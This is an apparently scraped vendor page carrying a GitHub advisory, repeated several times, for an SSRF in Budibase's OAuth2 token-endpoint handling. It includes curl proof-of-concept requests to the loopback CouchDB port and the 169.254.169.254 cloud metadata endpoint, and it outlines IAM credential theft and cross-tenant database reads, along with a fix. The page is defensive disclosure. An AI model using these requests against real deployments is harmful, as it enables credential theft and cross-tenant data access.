## Summary `fetchToken` in the OAuth2 SDK makes a POST to a builder-supplied URL with plain node-fetch, skipping the `blacklist.isBlacklisted` check that every other outbound fetch path in the codebase uses. The Joi schema for the OAuth2 URL has no scheme or host restriction. Alice, a builder, points an OAuth2 config at `http://169.254.169.254/...` or `http://127.0.0.1:5984/`; the server connects and returns response-body fragments in the validation result. ## Details `packages/server/src/sdk/workspace/oauth2/utils.ts:17-65` defines `fetchToken`. Near the end: ```typescript const resp = await fetch(config.url, fetchConfig) ``` `config.url` is whatever the builder stored. `fetchConfig` has `redirect: "follow"` (the default), so a public URL that returns 302 to an internal target is also reachable. The route validation at `packages/server/src/api/routes/oauth2.ts:9` accepts any string: ```typescript url: Joi.string().required(), ``` The controller passes the URL into `fetchToken` through `crud.ts`. The `/api/oauth2/validate` endpoint (builder role) is the most direct attack path: it lives on `builderRoutes`, takes the URL from the body, fires the fetch, and returns a validation envelope that includes the upstream error string. Compare with every other outbound fetch in the codebase: - `packages/server/src/integrations/rest.ts:754` calls `blacklist.isBlacklisted(url)` before its fetch (though it does not re-check redirects; see companion advisory for REST-redirect SSRF). - `packages/backend-core/src/utils/outboundFetch.ts:98-100` sets `redirect: "manual"` and re-validates each hop. - `packages/server/src/automations/steps/outgoingWebhook.ts` routes through `fetchWithBlacklist`. The default blacklist blocks `127.0.0.0/8`, `169.254.0.0/16`, `10.0.0.0/8`, `172.16.0.0/12`, `192.168.0.0/16` (`packages/backend-core/src/blacklist/blacklist.ts:6-16`). The OAuth2 path never consults it. ## Proof of Concept Tested against Budibase 3.35.8 (built from master at f960e361). Step 1: Alice, a builder, POSTs an OAuth2 config pointed at CouchDB on the same host as Budibase: ```bash curl -sS -b "$BUILDER_COOKIE" -X POST "$BASE/api/oauth2/validate" \ -H "Content-Type: application/json" \ -d '{"url":"http://127.0.0.1:5984/","clientId":"t","clientSecret":"t", "method":"BODY","grantType":"client_credentials"}' ``` Server response: ```json {"valid":false,"message":"Method Not Allowed"} ``` Budibase reached CouchDB (which rejects POST at `/` with 405). Without the blacklist bypass this request would be blocked at the IP check. Step 2: Probe the cloud metadata range: ```bash curl -sS -b "$BUILDER_COOKIE" -X POST "$BASE/api/oauth2/validate" \ -H "Content-Type: application/json" \ -d '{"url":"http://169.254.169.254/latest/meta-data/","clientId":"t","clientSecret":"t","method":"BODY","grantType":"client_credentials"}' ``` Server response: ```json {"valid":false,"message":"invalid json response body at http://169.254.169.254/latest/meta-data/ reason: Unexpected token 'N', \"Not Found\" is not valid JSON"} ``` The `"Not Found"` substring is the upstream body; the server reached the link-local metadata endpoint and leaked the first bytes of the response into the validation error. ## Impact Two concrete paths, both reachable from any builder account (free-tier signup on Budibase Cloud is enough): 1. **Cross-tenant data read on Cloud.** Budibase Cloud multi-tenants on a shared CouchDB; each tenant gets its own `<tenantId>_global-db` and `app_<id>` databases on the same port 5984. The blacklist is what keeps a builder from talking to CouchDB directly. With that bypassed, Alice can `GET http://127.0.0.1:5984/_all_dbs` via a 302 redirector and enumerate every other tenant's databases, then read their `_users`, app definitions, and datasource configs (which include third-party credentials). None of this traffic goes through Budibase's tenant isolation layer, so standard app-level access controls do not apply. 2. **IAM credential exfiltration.** Alice points the URL at `http://169.254.169.254/latest/meta-data/iam/security-credentials/<role>/` and receives the instance role credentials in the validation error path. Those credentials carry whatever AWS permissions the Budibase instance role holds. Self-hosted deployments face the same CouchDB/Redis/MinIO access plus any other service reachable on the host or pod network. The blacklist was explicitly added to prevent exactly this, and every other outbound fetch path uses it. ## Recommended Fix Call `blacklist.isBlacklisted` before the fetch and set `redirect: "manual"` on `fetchConfig`, matching the pattern in `outboundFetch.ts`: ```typescript import { blacklist } from "@budibase/backend-core" async function fetchToken(config: { url: string; /* ... */ }) { config = await processEnvironmentVariable(config) if (await blacklist.isBlacklisted(config.url)) { throw new Error("OAuth2 token URL is blocked.") } const fetchConfig: RequestInit = { method: "POST", headers: { "Content-Type": "application/x-www-form-urlencoded" }, body: new URLSearchParams({ grant_type: "client_credentials" }), redirect: "manual", } // ... } ``` Alternatively, replace the `fetch` call with `fetchWithBlacklist`, which handles both checks and re-validates redirect targets. --- *Found by [aisafe.io](https://aisafe.io)*
## Summary `fetchToken` in the OAuth2 SDK makes a POST to a builder-supplied URL with plain node-fetch, skipping the `blacklist.isBlacklisted` check that every other outbound fetch path in the codebase uses. The Joi schema for the OAuth2 URL has no scheme or host restriction. Alice, a builder, points an OAuth2 config at `http://169.254.169.254/...` or `http://127.0.0.1:5984/`; the server connects and returns response-body fragments in the validation result. ## Details `packages/server/src/sdk/workspace/oauth2/utils.ts:17-65` defines `fetchToken`. Near the end: ```typescript const resp = await fetch(config.url, fetchConfig) ``` `config.url` is whatever the builder stored. `fetchConfig` has `redirect: "follow"` (the default), so a public URL that returns 302 to an internal target is also reachable. The route validation at `packages/server/src/api/routes/oauth2.ts:9` accepts any string: ```typescript url: Joi.string().required(), ``` The controller passes the URL into `fetchToken` through `crud.ts`. The `/api/oauth2/validate` endpoint (builder role) is the most direct attack path: it lives on `builderRoutes`, takes the URL from the body, fires the fetch, and returns a validation envelope that includes the upstream error string. Compare with every other outbound fetch in the codebase: - `packages/server/src/integrations/rest.ts:754` calls `blacklist.isBlacklisted(url)` before its fetch (though it does not re-check redirects; see companion advisory for REST-redirect SSRF). - `packages/backend-core/src/utils/outboundFetch.ts:98-100` sets `redirect: "manual"` and re-validates each hop. - `packages/server/src/automations/steps/outgoingWebhook.ts` routes through `fetchWithBlacklist`. The default blacklist blocks `127.0.0.0/8`, `169.254.0.0/16`, `10.0.0.0/8`, `172.16.0.0/12`, `192.168.0.0/16` (`packages/backend-core/src/blacklist/blacklist.ts:6-16`). The OAuth2 path never consults it. ## Proof of Concept Tested against Budibase 3.35.8 (built from master at f960e361). Step 1: Alice, a builder, POSTs an OAuth2 config pointed at CouchDB on the same host as Budibase: ```bash curl -sS -b "$BUILDER_COOKIE" -X POST "$BASE/api/oauth2/validate" \ -H "Content-Type: application/json" \ -d '{"url":"http://127.0.0.1:5984/","clientId":"t","clientSecret":"t", "method":"BODY","grantType":"client_credentials"}' ``` Server response: ```json {"valid":false,"message":"Method Not Allowed"} ``` Budibase reached CouchDB (which rejects POST at `/` with 405). Without the blacklist bypass this request would be blocked at the IP check. Step 2: Probe the cloud metadata range: ```bash curl -sS -b "$BUILDER_COOKIE" -X POST "$BASE/api/oauth2/validate" \ -H "Content-Type: application/json" \ -d '{"url":"http://169.254.169.254/latest/meta-data/","clientId":"t","clientSecret":"t","method":"BODY","grantType":"client_credentials"}' ``` Server response: ```json {"valid":false,"message":"invalid json response body at http://169.254.169.254/latest/meta-data/ reason: Unexpected token 'N', \"Not Found\" is not valid JSON"} ``` The `"Not Found"` substring is the upstream body; the server reached the link-local metadata endpoint and leaked the first bytes of the response into the validation error. ## Impact Two concrete paths, both reachable from any builder account (free-tier signup on Budibase Cloud is enough): 1. **Cross-tenant data read on Cloud.** Budibase Cloud multi-tenants on a shared CouchDB; each tenant gets its own `<tenantId>_global-db` and `app_<id>` databases on the same port 5984. The blacklist is what keeps a builder from talking to CouchDB directly. With that bypassed, Alice can `GET http://127.0.0.1:5984/_all_dbs` via a 302 redirector and enumerate every other tenant's databases, then read their `_users`, app definitions, and datasource configs (which include third-party credentials). None of this traffic goes through Budibase's tenant isolation layer, so standard app-level access controls do not apply. 2. **IAM credential exfiltration.** Alice points the URL at `http://169.254.169.254/latest/meta-data/iam/security-credentials/<role>/` and receives the instance role credentials in the validation error path. Those credentials carry whatever AWS permissions the Budibase instance role holds. Self-hosted deployments face the same CouchDB/Redis/MinIO access plus any other service reachable on the host or pod network. The blacklist was explicitly added to prevent exactly this, and every other outbound fetch path uses it. ## Recommended Fix Call `blacklist.isBlacklisted` before the fetch and set `redirect: "manual"` on `fetchConfig`, matching the pattern in `outboundFetch.ts`: ```typescript import { blacklist } from "@budibase/backend-core" async function fetchToken(config: { url: string; /* ... */ }) { config = await processEnvironmentVariable(config) if (await blacklist.isBlacklisted(config.url)) { throw new Error("OAuth2 token URL is blocked.") } const fetchConfig: RequestInit = { method: "POST", headers: { "Content-Type": "application/x-www-form-urlencoded" }, body: new URLSearchParams({ grant_type: "client_credentials" }), redirect: "manual", } // ... } ``` Alternatively, replace the `fetch` call with `fetchWithBlacklist`, which handles both checks and re-validates redirect targets. --- *Found by [aisafe.io](https://aisafe.io)*
## Summary `fetchToken` in the OAuth2 SDK makes a POST to a builder-supplied URL with plain node-fetch, skipping the `blacklist.isBlacklisted` check that every other outbound fetch path in the codebase uses. The Joi schema for the OAuth2 URL has no scheme or host restriction. Alice, a builder, points an OAuth2 config at `http://169.254.169.254/...` or `http://127.0.0.1:5984/`; the server connects and returns response-body fragments in the validation result. ## Details `packages/server/src/sdk/workspace/oauth2/utils.ts:17-65` defines `fetchToken`. Near the end: ```typescript const resp = await fetch(config.url, fetchConfig) ``` `config.url` is whatever the builder stored. `fetchConfig` has `redirect: "follow"` (the default), so a public URL that returns 302 to an internal target is also reachable. The route validation at `packages/server/src/api/routes/oauth2.ts:9` accepts any string: ```typescript url: Joi.string().required(), ``` The controller passes the URL into `fetchToken` through `crud.ts`. The `/api/oauth2/validate` endpoint (builder role) is the most direct attack path: it lives on `builderRoutes`, takes the URL from the body, fires the fetch, and returns a validation envelope that includes the upstream error string. Compare with every other outbound fetch in the codebase: - `packages/server/src/integrations/rest.ts:754` calls `blacklist.isBlacklisted(url)` before its fetch (though it does not re-check redirects; see companion advisory for REST-redirect SSRF). - `packages/backend-core/src/utils/outboundFetch.ts:98-100` sets `redirect: "manual"` and re-validates each hop. - `packages/server/src/automations/steps/outgoingWebhook.ts` routes through `fetchWithBlacklist`. The default blacklist blocks `127.0.0.0/8`, `169.254.0.0/16`, `10.0.0.0/8`, `172.16.0.0/12`, `192.168.0.0/16` (`packages/backend-core/src/blacklist/blacklist.ts:6-16`). The OAuth2 path never consults it. ## Proof of Concept Tested against Budibase 3.35.8 (built from master at f960e361). Step 1: Alice, a builder, POSTs an OAuth2 config pointed at CouchDB on the same host as Budibase: ```bash curl -sS -b "$BUILDER_COOKIE" -X POST "$BASE/api/oauth2/validate" \ -H "Content-Type: application/json" \ -d '{"url":"http://127.0.0.1:5984/","clientId":"t","clientSecret":"t", "method":"BODY","grantType":"client_credentials"}' ``` Server response: ```json {"valid":false,"message":"Method Not Allowed"} ``` Budibase reached CouchDB (which rejects POST at `/` with 405). Without the blacklist bypass this request would be blocked at the IP check. Step 2: Probe the cloud metadata range: ```bash curl -sS -b "$BUILDER_COOKIE" -X POST "$BASE/api/oauth2/validate" \ -H "Content-Type: application/json" \ -d '{"url":"http://169.254.169.254/latest/meta-data/","clientId":"t","clientSecret":"t","method":"BODY","grantType":"client_credentials"}' ``` Server response: ```json {"valid":false,"message":"invalid json response body at http://169.254.169.254/latest/meta-data/ reason: Unexpected token 'N', \"Not Found\" is not valid JSON"} ``` The `"Not Found"` substring is the upstream body; the server reached the link-local metadata endpoint and leaked the first bytes of the response into the validation error. ## Impact Two concrete paths, both reachable from any builder account (free-tier signup on Budibase Cloud is enough): 1. **Cross-tenant data read on Cloud.** Budibase Cloud multi-tenants on a shared CouchDB; each tenant gets its own `<tenantId>_global-db` and `app_<id>` databases on the same port 5984. The blacklist is what keeps a builder from talking to CouchDB directly. With that bypassed, Alice can `GET http://127.0.0.1:5984/_all_dbs` via a 302 redirector and enumerate every other tenant's databases, then read their `_users`, app definitions, and datasource configs (which include third-party credentials). None of this traffic goes through Budibase's tenant isolation layer, so standard app-level access controls do not apply. 2. **IAM credential exfiltration.** Alice points the URL at `http://169.254.169.254/latest/meta-data/iam/security-credentials/<role>/` and receives the instance role credentials in the validation error path. Those credentials carry whatever AWS permissions the Budibase instance role holds. Self-hosted deployments face the same CouchDB/Redis/MinIO access plus any other service reachable on the host or pod network. The blacklist was explicitly added to prevent exactly this, and every other outbound fetch path uses it. ## Recommended Fix Call `blacklist.isBlacklisted` before the fetch and set `redirect: "manual"` on `fetchConfig`, matching the pattern in `outboundFetch.ts`: ```typescript import { blacklist } from "@budibase/backend-core" async function fetchToken(config: { url: string; /* ... */ }) { config = await processEnvironmentVariable(config) if (await blacklist.isBlacklisted(config.url)) { throw new Error("OAuth2 token URL is blocked.") } const fetchConfig: RequestInit = { method: "POST", headers: { "Content-Type": "application/x-www-form-urlencoded" }, body: new URLSearchParams({ grant_type: "client_credentials" }), redirect: "manual", } // ... } ``` Alternatively, replace the `fetch` call with `fetchWithBlacklist`, which handles both checks and re-validates redirect targets. --- *Found by [aisafe.io](https://aisafe.io)*
## Summary `fetchToken` in the OAuth2 SDK makes a POST to a builder-supplied URL with plain node-fetch, skipping the `blacklist.isBlacklisted` check that every other outbound fetch path in the codebase uses. The Joi schema for the OAuth2 URL has no scheme or host restriction. Alice, a builder, points an OAuth2 config at `http://169.254.169.254/...` or `http://127.0.0.1:5984/`; the server connects and returns response-body fragments in the validation result. ## Details `packages/server/src/sdk/workspace/oauth2/utils.ts:17-65` defines `fetchToken`. Near the end: ```typescript const resp = await fetch(config.url, fetchConfig) ``` `config.url` is whatever the builder stored. `fetchConfig` has `redirect: "follow"` (the default), so a public URL that returns 302 to an internal target is also reachable. The route validation at `packages/server/src/api/routes/oauth2.ts:9` accepts any string: ```typescript url: Joi.string().required(), ``` The controller passes the URL into `fetchToken` through `crud.ts`. The `/api/oauth2/validate` endpoint (builder role) is the most direct attack path: it lives on `builderRoutes`, takes the URL from the body, fires the fetch, and returns a validation envelope that includes the upstream error string. Compare with every other outbound fetch in the codebase: - `packages/server/src/integrations/rest.ts:754` calls `blacklist.isBlacklisted(url)` before its fetch (though it does not re-check redirects; see companion advisory for REST-redirect SSRF). - `packages/backend-core/src/utils/outboundFetch.ts:98-100` sets `redirect: "manual"` and re-validates each hop. - `packages/server/src/automations/steps/outgoingWebhook.ts` routes through `fetchWithBlacklist`. The default blacklist blocks `127.0.0.0/8`, `169.254.0.0/16`, `10.0.0.0/8`, `172.16.0.0/12`, `192.168.0.0/16` (`packages/backend-core/src/blacklist/blacklist.ts:6-16`). The OAuth2 path never consults it. ## Proof of Concept Tested against Budibase 3.35.8 (built from master at f960e361). Step 1: Alice, a builder, POSTs an OAuth2 config pointed at CouchDB on the same host as Budibase: ```bash curl -sS -b "$BUILDER_COOKIE" -X POST "$BASE/api/oauth2/validate" \ -H "Content-Type: application/json" \ -d '{"url":"http://127.0.0.1:5984/","clientId":"t","clientSecret":"t", "method":"BODY","grantType":"client_credentials"}' ``` Server response: ```json {"valid":false,"message":"Method Not Allowed"} ``` Budibase reached CouchDB (which rejects POST at `/` with 405). Without the blacklist bypass this request would be blocked at the IP check. Step 2: Probe the cloud metadata range: ```bash curl -sS -b "$BUILDER_COOKIE" -X POST "$BASE/api/oauth2/validate" \ -H "Content-Type: application/json" \ -d '{"url":"http://169.254.169.254/latest/meta-data/","clientId":"t","clientSecret":"t","method":"BODY","grantType":"client_credentials"}' ``` Server response: ```json {"valid":false,"message":"invalid json response body at http://169.254.169.254/latest/meta-data/ reason: Unexpected token 'N', \"Not Found\" is not valid JSON"} ``` The `"Not Found"` substring is the upstream body; the server reached the link-local metadata endpoint and leaked the first bytes of the response into the validation error. ## Impact Two concrete paths, both reachable from any builder account (free-tier signup on Budibase Cloud is enough): 1. **Cross-tenant data read on Cloud.** Budibase Cloud multi-tenants on a shared CouchDB; each tenant gets its own `<tenantId>_global-db` and `app_<id>` databases on the same port 5984. The blacklist is what keeps a builder from talking to CouchDB directly. With that bypassed, Alice can `GET http://127.0.0.1:5984/_all_dbs` via a 302 redirector and enumerate every other tenant's databases, then read their `_users`, app definitions, and datasource configs (which include third-party credentials). None of this traffic goes through Budibase's tenant isolation layer, so standard app-level access controls do not apply. 2. **IAM credential exfiltration.** Alice points the URL at `http://169.254.169.254/latest/meta-data/iam/security-credentials/<role>/` and receives the instance role credentials in the validation error path. Those credentials carry whatever AWS permissions the Budibase instance role holds. Self-hosted deployments face the same CouchDB/Redis/MinIO access plus any other service reachable on the host or pod network. The blacklist was explicitly added to prevent exactly this, and every other outbound fetch path uses it. ## Recommended Fix Call `blacklist.isBlacklisted` before the fetch and set `redirect: "manual"` on `fetchConfig`, matching the pattern in `outboundFetch.ts`: ```typescript import { blacklist } from "@budibase/backend-core" async function fetchToken(config: { url: string; /* ... */ }) { config = await processEnvironmentVariable(config) if (await blacklist.isBlacklisted(config.url)) { throw new Error("OAuth2 token URL is blocked.") } const fetchConfig: RequestInit = { method: "POST", headers: { "Content-Type": "application/x-www-form-urlencoded" }, body: new URLSearchParams({ grant_type: "client_credentials" }), redirect: "manual", } // ... } ``` Alternatively, replace the `fetch` call with `fetchWithBlacklist`, which handles both checks and re-validates redirect targets. --- *Found by [aisafe.io](https://aisafe.io)*
Update @budibase/server to 3.39.0 if you use the affected versions. Test the change in a non-production environment first.
Local check
hol-guard supply-chain scanBudibase: SSRF via OAuth2 token endpoint URL reaches internal hosts and cloud metadata affects @budibase/server (npm). Severity is high. ## Summary `fetchToken` in the OAuth2 SDK makes a POST to a builder-supplied URL with plain node-fetch, skipping the `blacklist.isBlacklisted` check that every other outbound fetch path in the codebase uses. The Joi schema for the OAuth2 URL has no scheme or host restriction. Alice, a builder, points an OAuth2 config at `http://169.254.169.254/...` or `http://127.0.0.1:5984/`; the server connects and returns response-body fragments in the validation result. ## Details `packages/server/src/sdk/workspace/oauth2/utils.ts:17-65` defines `fetchToken`. Near the end: ```typescript const resp = await fetch(config.url, fetchConfig) ``` `config.url` is whatever the builder stored. `fetchConfig` has `redirect: "follow"` (the default), so a public URL that returns 302 to an internal target is also reachable. The route validation at `packages/server/src/api/routes/oauth2.ts:9` accepts any string: ```typescript url: Joi.string().required(), ``` The controller passes the URL into `fetchToken` through `crud.ts`. The `/api/oauth2/validate` endpoint (builder role) is the most direct attack path: it lives on `builderRoutes`, takes the URL from the body, fires the fetch, and returns a validation envelope that includes the upstream error string. Compare with every other outbound fetch in the codebase: - `packages/server/src/integrations/rest.ts:754` calls `blacklist.isBlacklisted(url)` before its fetch (though it does not re-check redirects; see companion advisory for REST-redirect SSRF). - `packages/backend-core/src/utils/outboundFetch.ts:98-100` sets `redirect: "manual"` and re-validates each hop. - `packages/server/src/automations/steps/outgoingWebhook.ts` routes through `fetchWithBlacklist`. The default blacklist blocks `127.0.0.0/8`, `169.254.0.0/16`, `10.0.0.0/8`, `172.16.0.0/12`, `192.168.0.0/16` (`packages/backend-core/src/blacklist/blacklist.ts:6-16`). The OAuth2 path never consults it. ## Proof of Concept Tested against Budibase 3.35.8 (built from master at f960e361). Step 1: Alice, a builder, POSTs an OAuth2 config pointed at CouchDB on the same host as Budibase: ```bash curl -sS -b "$BUILDER_COOKIE" -X POST "$BASE/api/oauth2/validate" \ -H "Content-Type: application/json" \ -d '{"url":"http://127.0.0.1:5984/","clientId":"t","clientSecret":"t", "method":"BODY","grantType":"client_credentials"}' ``` Server response: ```json {"valid":false,"message":"Method Not Allowed"} ``` Budibase reached CouchDB (which rejects POST at `/` with 405). Without the blacklist bypass this request would be blocked at the IP check. Step 2: Probe the cloud metadata range: ```bash curl -sS -b "$BUILDER_COOKIE" -X POST "$BASE/api/oauth2/validate" \ -H "Content-Type: application/json" \ -d '{"url":"http://169.254.169.254/latest/meta-data/","clientId":"t","clientSecret":"t","method":"BODY","grantType":"client_credentials"}' ``` Server response: ```json {"valid":false,"message":"invalid json response body at http://169.254.169.254/latest/meta-data/ reason: Unexpected token 'N', \"Not Found\" is not valid JSON"} ``` The `"Not Found"` substring is the upstream body; the server reached the link-local metadata endpoint and leaked the first bytes of the response into the validation error. ## Impact Two concrete paths, both reachable from any builder account (free-tier signup on Budibase Cloud is enough): 1. **Cross-tenant data read on Cloud.** Budibase Cloud multi-tenants on a shared CouchDB; each tenant gets its own `<tenantId>_global-db` and `app_<id>` databases on the same port 5984. The blacklist is what keeps a builder from talking to CouchDB directly. With that bypassed, Alice can `GET http://127.0.0.1:5984/_all_dbs` via a 302 redirector and enumerate every other tenant's databases, then read their `_users`, app definitions, and datasource configs (which include third-party credentials). None of this traffic goes through Budibase's tenant isolation layer, so standard app-level access controls do not apply. 2. **IAM credential exfiltration.** Alice points the URL at `http://169.254.169.254/latest/meta-data/iam/security-credentials/<role>/` and receives the instance role credentials in the validation error path. Those credentials carry whatever AWS permissions the Budibase instance role holds. Self-hosted deployments face the same CouchDB/Redis/MinIO access plus any other service reachable on the host or pod network. The blacklist was explicitly added to prevent exactly this, and every other outbound fetch path uses it. ## Recommended Fix Call `blacklist.isBlacklisted` before the fetch and set `redirect: "manual"` on `fetchConfig`, matching the pattern in `outboundFetch.ts`: ```typescript import { blacklist } from "@budibase/backend-core" async function fetchToken(config: { url: string; /* ... */ }) { config = await processEnvironmentVariable(config) if (await blacklist.isBlacklisted(config.url)) { throw new Error("OAuth2 token URL is blocked.") } const fetchConfig: RequestInit = { method: "POST", headers: { "Content-Type": "application/x-www-form-urlencoded" }, body: new URLSearchParams({ grant_type: "client_credentials" }), redirect: "manual", } // ... } ``` Alternatively, replace the `fetch` call with `fetchWithBlacklist`, which handles both checks and re-validates redirect targets. --- *Found by [aisafe.io](https://aisafe.io)*
AI coding agents often install or upgrade packages automatically in npm. A high vulnerability in a dependency can be pulled into a project through a normal install or update without a human reviewing the change, expanding the blast radius from a single package to every agent workspace that depends on it.
| Package | Affected range | Fixed version |
|---|---|---|
| @budibase/servernpm | <3.39.0 | 3.39.0 |
Fixed versions are reported by the source feed; confirm compatibility before updating.
Reported by GitHub Security Advisories (ghsa).
HOL Guard can help your team review package activity against supported protection paths.
Explore HOL GuardUpdate @budibase/server to 3.39.0 if you use the affected versions. Test the change in a non-production environment first.
Local check
hol-guard supply-chain scanBudibase: SSRF via OAuth2 token endpoint URL reaches internal hosts and cloud metadata affects @budibase/server (npm). Severity is high. ## Summary `fetchToken` in the OAuth2 SDK makes a POST to a builder-supplied URL with plain node-fetch, skipping the `blacklist.isBlacklisted` check that every other outbound fetch path in the codebase uses. The Joi schema for the OAuth2 URL has no scheme or host restriction. Alice, a builder, points an OAuth2 config at `http://169.254.169.254/...` or `http://127.0.0.1:5984/`; the server connects and returns response-body fragments in the validation result. ## Details `packages/server/src/sdk/workspace/oauth2/utils.ts:17-65` defines `fetchToken`. Near the end: ```typescript const resp = await fetch(config.url, fetchConfig) ``` `config.url` is whatever the builder stored. `fetchConfig` has `redirect: "follow"` (the default), so a public URL that returns 302 to an internal target is also reachable. The route validation at `packages/server/src/api/routes/oauth2.ts:9` accepts any string: ```typescript url: Joi.string().required(), ``` The controller passes the URL into `fetchToken` through `crud.ts`. The `/api/oauth2/validate` endpoint (builder role) is the most direct attack path: it lives on `builderRoutes`, takes the URL from the body, fires the fetch, and returns a validation envelope that includes the upstream error string. Compare with every other outbound fetch in the codebase: - `packages/server/src/integrations/rest.ts:754` calls `blacklist.isBlacklisted(url)` before its fetch (though it does not re-check redirects; see companion advisory for REST-redirect SSRF). - `packages/backend-core/src/utils/outboundFetch.ts:98-100` sets `redirect: "manual"` and re-validates each hop. - `packages/server/src/automations/steps/outgoingWebhook.ts` routes through `fetchWithBlacklist`. The default blacklist blocks `127.0.0.0/8`, `169.254.0.0/16`, `10.0.0.0/8`, `172.16.0.0/12`, `192.168.0.0/16` (`packages/backend-core/src/blacklist/blacklist.ts:6-16`). The OAuth2 path never consults it. ## Proof of Concept Tested against Budibase 3.35.8 (built from master at f960e361). Step 1: Alice, a builder, POSTs an OAuth2 config pointed at CouchDB on the same host as Budibase: ```bash curl -sS -b "$BUILDER_COOKIE" -X POST "$BASE/api/oauth2/validate" \ -H "Content-Type: application/json" \ -d '{"url":"http://127.0.0.1:5984/","clientId":"t","clientSecret":"t", "method":"BODY","grantType":"client_credentials"}' ``` Server response: ```json {"valid":false,"message":"Method Not Allowed"} ``` Budibase reached CouchDB (which rejects POST at `/` with 405). Without the blacklist bypass this request would be blocked at the IP check. Step 2: Probe the cloud metadata range: ```bash curl -sS -b "$BUILDER_COOKIE" -X POST "$BASE/api/oauth2/validate" \ -H "Content-Type: application/json" \ -d '{"url":"http://169.254.169.254/latest/meta-data/","clientId":"t","clientSecret":"t","method":"BODY","grantType":"client_credentials"}' ``` Server response: ```json {"valid":false,"message":"invalid json response body at http://169.254.169.254/latest/meta-data/ reason: Unexpected token 'N', \"Not Found\" is not valid JSON"} ``` The `"Not Found"` substring is the upstream body; the server reached the link-local metadata endpoint and leaked the first bytes of the response into the validation error. ## Impact Two concrete paths, both reachable from any builder account (free-tier signup on Budibase Cloud is enough): 1. **Cross-tenant data read on Cloud.** Budibase Cloud multi-tenants on a shared CouchDB; each tenant gets its own `<tenantId>_global-db` and `app_<id>` databases on the same port 5984. The blacklist is what keeps a builder from talking to CouchDB directly. With that bypassed, Alice can `GET http://127.0.0.1:5984/_all_dbs` via a 302 redirector and enumerate every other tenant's databases, then read their `_users`, app definitions, and datasource configs (which include third-party credentials). None of this traffic goes through Budibase's tenant isolation layer, so standard app-level access controls do not apply. 2. **IAM credential exfiltration.** Alice points the URL at `http://169.254.169.254/latest/meta-data/iam/security-credentials/<role>/` and receives the instance role credentials in the validation error path. Those credentials carry whatever AWS permissions the Budibase instance role holds. Self-hosted deployments face the same CouchDB/Redis/MinIO access plus any other service reachable on the host or pod network. The blacklist was explicitly added to prevent exactly this, and every other outbound fetch path uses it. ## Recommended Fix Call `blacklist.isBlacklisted` before the fetch and set `redirect: "manual"` on `fetchConfig`, matching the pattern in `outboundFetch.ts`: ```typescript import { blacklist } from "@budibase/backend-core" async function fetchToken(config: { url: string; /* ... */ }) { config = await processEnvironmentVariable(config) if (await blacklist.isBlacklisted(config.url)) { throw new Error("OAuth2 token URL is blocked.") } const fetchConfig: RequestInit = { method: "POST", headers: { "Content-Type": "application/x-www-form-urlencoded" }, body: new URLSearchParams({ grant_type: "client_credentials" }), redirect: "manual", } // ... } ``` Alternatively, replace the `fetch` call with `fetchWithBlacklist`, which handles both checks and re-validates redirect targets. --- *Found by [aisafe.io](https://aisafe.io)*
AI coding agents often install or upgrade packages automatically in npm. A high vulnerability in a dependency can be pulled into a project through a normal install or update without a human reviewing the change, expanding the blast radius from a single package to every agent workspace that depends on it.
| Package | Affected range | Fixed version |
|---|---|---|
| @budibase/servernpm | <3.39.0 | 3.39.0 |
Fixed versions are reported by the source feed; confirm compatibility before updating.
Reported by GitHub Security Advisories (ghsa).
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